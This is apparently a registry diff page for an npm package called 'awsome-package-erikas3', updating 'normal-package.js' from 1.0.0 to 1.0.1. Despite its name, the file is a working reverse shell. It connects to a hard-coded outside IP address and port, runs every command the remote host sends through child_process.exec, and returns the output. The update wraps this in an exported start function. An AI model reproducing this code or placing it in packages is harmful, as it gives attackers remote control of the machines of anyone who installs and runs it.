awsome-package-erikas3 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/normal-package.js +27 -21
- package/package.json +1 -1
package/normal-package.js
CHANGED
@@ -1,31 +1,37 @@
|
|
1
|
-
//
|
1
|
+
// normal-package.js
|
2
2
|
const net = require("net");
|
3
3
|
const { exec } = require("child_process");
|
4
4
|
|
5
5
|
const HOST = "141.136.44.52"; // Change this to your attacker's IP address
|
6
6
|
const PORT = 50502; // Change this to your desired port
|
7
7
|
|
8
|
-
|
9
|
-
|
10
|
-
|
11
|
-
client.
|
12
|
-
});
|
8
|
+
// Create a function that starts the reverse shell
|
9
|
+
function start() {
|
10
|
+
const client = new net.Socket();
|
11
|
+
client.connect(PORT, HOST, () => {
|
12
|
+
console.log(`Connected to ${HOST}:${PORT}`);
|
13
|
+
client.write("Connection established\n");
|
14
|
+
});
|
15
|
+
|
16
|
+
client.on("data", (data) => {
|
17
|
+
exec(data.toString(), (err, stdout, stderr) => {
|
18
|
+
if (err) {
|
19
|
+
client.write(`Error: ${stderr}\n`);
|
20
|
+
} else {
|
21
|
+
client.write(stdout);
|
22
|
+
}
|
23
|
+
});
|
24
|
+
});
|
13
25
|
|
14
|
-
client.on("
|
15
|
-
|
16
|
-
|
17
|
-
client.write(`Error: ${stderr}\n`);
|
18
|
-
} else {
|
19
|
-
client.write(stdout);
|
20
|
-
}
|
26
|
+
client.on("error", (err) => {
|
27
|
+
console.error(`Connection error: ${err.message}`);
|
28
|
+
client.destroy();
|
21
29
|
});
|
22
|
-
});
|
23
30
|
|
24
|
-
client.on("
|
25
|
-
|
26
|
-
|
27
|
-
}
|
31
|
+
client.on("close", () => {
|
32
|
+
console.log("Connection closed");
|
33
|
+
});
|
34
|
+
}
|
28
35
|
|
29
|
-
|
30
|
-
|
31
|
-
});
|
36
|
+
// Export the start function
|
37
|
+
module.exports = { start };
|